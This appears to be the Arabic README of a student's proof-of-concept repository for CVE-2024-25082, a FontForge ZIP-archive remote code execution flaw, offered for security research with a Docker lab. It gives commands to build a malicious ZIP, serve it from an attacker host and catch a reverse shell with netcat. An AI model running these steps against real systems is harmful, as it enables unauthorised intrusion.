
استغلال إثبات المفهوم لـ CVE-2024-25082، يوضح تنفيذ التعليمات البرمجية عن بعد في FontForge عبر أرشيفات ZIP مصممة. يتضمن مولّد حمولة ومختبر Docker وكتابة فنية للبحث الأمني والتعليم.
إثبات مفهوم لاستغلال CVE-2024-25082، وهي ثغرة تؤثر على FontForge وتتيح تنفيذ التعليمات البرمجية عن بُعد (RCE) من خلال أرشيف ZIP مصمم بعناية.
يُظهر هذا المستودع كيف يمكن استغلال الثغرة في بيئة مختبرية خاضعة للتحكم لأغراض البحث الأمني والتعليم.
تحدث الثغرة بسبب عدم التحقق السليم من الملفات داخل أرشيفات ZIP، مما يسمح للمهاجم بتنفيذ أوامر اعتباطية على النظام المستهدف.
CVE-2024-25082-FontForge-ZIP-RCE/
├── README.md
├── exploit.py
├── poc/
│ └── exploit.zip
├── writeup.md
└── License
الملف الوصف
exploit.py يولد الحمولة الضارة بصيغة ZIP poc/ يحتوي على ملفات إثبات المفهوم المُولَّدة writeup.md شرح تقني للثغرة
تثبيت الأدوات الاختيارية:
sudo apt install netcat
python3 exploit.py --lhost <Your IP> --lport <Your Port>
سيؤدي هذا إلى إنشاء ملف exploit.zip ضار.
python3 -m http.server 8080
curl http://<Your IP>:8080/exploit.zip -o /path/to/upload/directory/exploit.zip
nc -lvnp <Your Port>
في حال نجاح العملية، يجب الحصول على صدفة من النظام المستهدف.
يتم توفير بيئة ضعيفة قابلة لإعادة الإنتاج داخل مجلد docker/.
مثال:
cd docker/vulnerable_env
docker build -t fontforge-vuln .
docker run -p 8080:80 fontforge-vuln
يتيح ذلك إجراء اختبار آمن دون التأثير على الأنظمة الإنتاجية.
يمكن للمهاجم القادر على رفع أو التحكم في ملفات ZIP التي يعالجها التطبيق الضعيف أن:
خطوات التخفيف الموصى بها:
يحتوي هذا المستودع على رمز إثبات المفهوم لثغرة معلنة للعموم.
يُقدَّم الكود حصريًا للأغراض التالية:
لا تستخدم هذا الكود ضد أنظمة دون إذن صريح.
لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذا البرنامج.
Moamen Elmaghrabi
طالب في مجال الأمن السيبراني
اختبار الاختراق وتطوير الاستغلال
هذا المشروع مرخص بموجب رخصة MIT.
راجع ملف الترخيص للتفاصيل.